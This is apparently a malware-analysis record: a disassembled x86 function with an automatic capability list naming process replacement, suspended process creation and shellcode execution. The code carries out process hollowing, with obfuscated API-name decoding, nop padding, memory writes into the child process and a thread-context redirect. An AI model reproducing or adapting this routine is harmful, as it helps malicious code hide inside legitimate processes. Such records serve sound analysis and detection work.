Function at 0x40f550
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42520d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x368
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jns 0x40f582
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp - 0x100], eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jns 0x40f59c
dec eax
or eax, 0xffffff00
inc eax
add eax, 0x400
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00423a52
add esp, 4
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x100]
add ecx, 0x400
push ecx
mov edx, dword [ebp - 0x38]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov byte [ebp - 0xd], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
movzx edx, word [ecx]
cmp edx, 0x5a4d
jne 0x41097b
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x40f64c
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x30], edx
jmp 0x40f658
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1c], ecx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x416ed0
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 0x51], 0
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x40ffd3
mov ecx, dword [ebp - 0x30]
cmp dword [ecx], 0x4550
jne 0x40ff8f
push 0x44
push 0
lea edx, [ebp - 0x374]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x10
push 0
lea eax, [ebp - 0x48]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x374]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40ff02
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x48]
mov dword [ecx], edx
push 0x416ed0
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x58], eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov ecx, dword [ebp - 0x58]
mov dword [ecx], 0x10007
mov dword [ebp - 0x5c], 0
mov edx, dword [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x40fe07
lea ecx, [ebp - 0xac]
call fcn.00418360
mov dword [ebp - 4], 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x19c], esp
push 0x462128
call fcn.00418120
mov dword [ebp - 0x1a0], eax
push 0x462010
lea ecx, [ebp - 0x94]
push ecx
call fcn.004080f0
add esp, 0x20
mov dword [ebp - 0x1a4], eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], 0
jmp 0x40f7c8
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
lea ecx, [ebp - 0x94]
call fcn.00422b10
cmp dword [ebp - 0x14], eax
jae 0x40fb43
cmp dword [ebp - 0x14], 2
jne 0x40f808
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx ecx, byte [eax]
add ecx, 1
push ecx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 4
jne 0x40f834
mov edx, dword [ebp - 0x14]
push edx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx eax, byte [eax]
sub eax, 1
push eax
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 6
jne 0x40f860
mov ecx, dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx edx, byte [eax]
add edx, 1
push edx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 9
jne 0x40f88c
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx ecx, byte [eax]
sub ecx, 1
push ecx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0xc
jne 0x40f8b8
mov edx, dword [ebp - 0x14]
push edx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx eax, byte [eax]
add eax, 1
push eax
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0xe
jne 0x40f8e4
mov ecx, dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx edx, byte [eax]
sub edx, 1
push edx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x12
jne 0x40f910
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx ecx, byte [eax]
add ecx, 1
push ecx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x16
jne 0x40f93c
mov edx, dword [ebp - 0x14]
push edx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx eax, byte [eax]
sub eax, 1
push eax
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x17
jne 0x40f968
mov ecx, dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx edx, byte [eax]
add edx, 1
push edx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x1a
jne 0x40f994
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx ecx, byte [eax]
sub ecx, 1
push ecx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x1b
jne 0x40f9c0
mov edx, dword [ebp - 0x14]
push edx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx eax, byte [eax]
add eax, 1
push eax
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x1d
jne 0x40f9ec
mov ecx, dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx edx, byte [eax]
sub edx, 1
push edx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x20
jne 0x40fa18
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx ecx, byte [eax]
add ecx, 1
push ecx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x21
jne 0x40fa44
mov edx, dword [ebp - 0x14]
push edx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx eax, byte [eax]
sub eax, 1
push eax
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x23
jne 0x40fa70
mov ecx, dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx edx, byte [eax]
add edx, 1
push edx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x26
jne 0x40fa9c
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx ecx, byte [eax]
sub ecx, 1
push ecx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x28
jne 0x40fac5
mov edx, dword [ebp - 0x14]
push edx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx eax, byte [eax]
add eax, 1
push eax
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x29
jne 0x40faee
mov ecx, dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx edx, byte [eax]
sub edx, 1
push edx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x2a
jne 0x40fb17
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx ecx, byte [eax]
add ecx, 1
push ecx
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40fb3e
cmp dword [ebp - 0x14], 0x2f
jne 0x40fb3e
mov edx, dword [ebp - 0x14]
push edx
lea ecx, [ebp - 0x94]
call fcn.00419680
movsx eax, byte [eax]
sub eax, 1
push eax
lea ecx, [ebp - 0xac]
call fcn.00419990
jmp 0x40f7bf
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0
push 4
lea ecx, [ebp - 0x4c]
push ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 0x4c]
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0xcc], ecx
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x114]
cmp eax, dword [edx + 0x30]
jne 0x40fc5c
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0x110]
cmp edx, dword [ecx + 0x34]
jne 0x40fc5c
lea ecx, [ebp - 0xac]
call fcn.0041ec00
push eax
push 0x427498
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jne 0x40fc3a
push 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov byte [ebp - 0xd], 0
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x104], edx
mov eax, dword [ebp - 0x104]
push eax
call fcn.00423a5b
add esp, 4
mov cl, byte [ebp - 0xd]
mov byte [ebp - 0x29], cl
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x94]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xac]
call fcn.00418dc0
mov al, byte [ebp - 0x29]
jmp 0x4109e3
mov edx, dword [ebp - 0xd0]
mov dword [ebp - 0x60], edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
call dword [ebp - 0x60]
push 0x416ed0
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x40
push 0x3000
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0x30]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x24], eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
cmp dword [ebp - 0x24], 0
je 0x40fdb2
push 0
mov edx, dword [ebp - 0x30]
mov eax, dword [edx + 0x54]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov dword [ebp - 0x28], 0
jmp 0x40fcfc
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x30]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x28], eax
jge 0x40fd48
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
imul eax, dword [ebp - 0x28], 0x28
lea ecx, [edx + eax + 0xf8]
mov dword [ebp - 0x34], ecx
push 0
mov edx, dword [ebp - 0x34]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x24]
add ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x40fcf3
push 0
push 4
mov eax, dword [ebp - 0x1c]
add eax, 0x34
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add edx, dword [ecx + 0x28]
mov eax, dword [ebp - 0x20]
mov dword [eax + 0xb0], edx
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x40fdc4
push 0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov byte [ebp - 0xd], 0
push 0x416ed0
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x94]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xac]
call fcn.00418dc0
jmp 0x40fefd
cmp dword [ebp - 0x5c], 0xa
jge 0x40fe26
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
jmp 0x40f723
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x40febe
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [ebp - 0x1e0]
push edx
call fcn.00422e40
add esp, 8
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 4], 2
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1a8], esp
mov edx, dword [ebp - 0x10c]
push edx
push 0x4274a4
push ecx
call fcn.004154b0
add esp, 0xc
mov dword [ebp - 0x1ac], eax
lea eax, [ebp - 0x1c8]
push eax
call fcn.0040f160
add esp, 0x1c
mov dword [ebp - 0x1b0], eax
lea ecx, [ebp - 0x1c8]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e0]
call fcn.00418dc0
jmp 0x40fef9
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x118], esp
push 0x4274a8
call fcn.00418290
mov dword [ebp - 0x11c], eax
lea ecx, [ebp - 0x1f8]
push ecx
call fcn.0040f160
add esp, 0x1c
mov dword [ebp - 0x120], eax
lea ecx, [ebp - 0x1f8]
call fcn.00418dc0
mov byte [ebp - 0xd], 0
jmp 0x40ff8d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [ebp - 0x228]
push edx
call fcn.00422e40
add esp, 8
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 4], 3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x124], esp
mov edx, dword [ebp - 0xd8]
push edx
push 0x4274b0
push ecx
call fcn.004154b0
add esp, 0xc
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x210]
push eax
call fcn.0040f160
add esp, 0x1c
mov dword [ebp - 0x12c], eax
lea ecx, [ebp - 0x210]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x228]
call fcn.00418dc0
mov byte [ebp - 0xd], 0
jmp 0x40ffce
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x130], esp
push 0x4274b4
call fcn.00418290
mov dword [ebp - 0x134], eax
lea ecx, [ebp - 0x240]
push ecx
call fcn.0040f160
add esp, 0x1c
mov dword [ebp - 0x138], eax
lea ecx, [ebp - 0x240]
call fcn.00418dc0
mov byte [ebp - 0xd], 0
jmp 0x410979
mov edx, dword [ebp - 0x1c]
cmp dword [edx], 0x4550
jne 0x41093a
push 0x44
push 0
lea eax, [ebp - 0x374]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x10
push 0
lea ecx, [ebp - 0x48]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea edx, [ebp - 0x48]
push edx
lea eax, [ebp - 0x374]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4108ad
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x48]
mov dword [edx], eax
push 0x416ed0
mov ecx, dword [ebp - 0x1c]
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 4
push 0x1000
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
cmp dword [ebp - 0x20], 0
jne 0x410116
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [ebp - 0x270]
push edx
call fcn.00422e40
add esp, 8
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 4], 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x13c], esp
mov edx, dword [ebp - 0xe0]
push edx
push str.13_CTX_
push ecx
call fcn.004154b0
add esp, 0xc
mov dword [ebp - 0x140], eax
lea eax, [ebp - 0x258]
push eax
call fcn.0040f160
add esp, 0x1c
mov dword [ebp - 0x144], eax
lea ecx, [ebp - 0x258]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x270]
call fcn.00418dc0
mov ecx, dword [ebp - 0x20]
add ecx, 0xf
and ecx, 0xfffffff0
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
mov dword [edx], 0x10007
mov dword [ebp - 0x64], 0
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x410767
lea ecx, [ebp - 0x7c]
call fcn.00418360
mov dword [ebp - 4], 5
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x148], esp
push 0x462128
call fcn.00418120
mov dword [ebp - 0x14c], eax
push 0x462010
lea edx, [ebp - 0xc4]
push edx
call fcn.004080f0
add esp, 0x20
mov dword [ebp - 0x150], eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x18], 0
jmp 0x4101a2
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0xc4]
call fcn.00422b10
cmp dword [ebp - 0x18], eax
jae 0x4104e1
cmp dword [ebp - 0x18], 2
jne 0x4101df
mov ecx, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx edx, byte [eax]
add edx, 1
push edx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 4
jne 0x410208
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx ecx, byte [eax]
sub ecx, 1
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 6
jne 0x410231
mov edx, dword [ebp - 0x18]
push edx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx eax, byte [eax]
add eax, 1
push eax
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 9
jne 0x41025a
mov ecx, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx edx, byte [eax]
sub edx, 1
push edx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0xc
jne 0x410283
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx ecx, byte [eax]
add ecx, 1
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0xe
jne 0x4102ac
mov edx, dword [ebp - 0x18]
push edx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx eax, byte [eax]
sub eax, 1
push eax
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x12
jne 0x4102d5
mov ecx, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx edx, byte [eax]
add edx, 1
push edx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x16
jne 0x4102fe
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx ecx, byte [eax]
sub ecx, 1
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x17
jne 0x410327
mov edx, dword [ebp - 0x18]
push edx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx eax, byte [eax]
add eax, 1
push eax
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x1a
jne 0x410350
mov ecx, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx edx, byte [eax]
sub edx, 1
push edx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x1b
jne 0x410379
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx ecx, byte [eax]
add ecx, 1
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x1d
jne 0x4103a2
mov edx, dword [ebp - 0x18]
push edx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx eax, byte [eax]
sub eax, 1
push eax
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x20
jne 0x4103cb
mov ecx, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx edx, byte [eax]
add edx, 1
push edx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x21
jne 0x4103f4
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx ecx, byte [eax]
sub ecx, 1
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x23
jne 0x41041d
mov edx, dword [ebp - 0x18]
push edx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx eax, byte [eax]
add eax, 1
push eax
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x26
jne 0x410446
mov ecx, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx edx, byte [eax]
sub edx, 1
push edx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x28
jne 0x41046c
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx ecx, byte [eax]
add ecx, 1
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x29
jne 0x410492
mov edx, dword [ebp - 0x18]
push edx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx eax, byte [eax]
sub eax, 1
push eax
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x2a
jne 0x4104b8
mov ecx, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx edx, byte [eax]
add edx, 1
push edx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x4104dc
cmp dword [ebp - 0x18], 0x2f
jne 0x4104dc
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00419680
movsx ecx, byte [eax]
sub ecx, 1
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00419990
jmp 0x410199
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0
push 4
lea edx, [ebp - 0x4c]
push edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x1c]
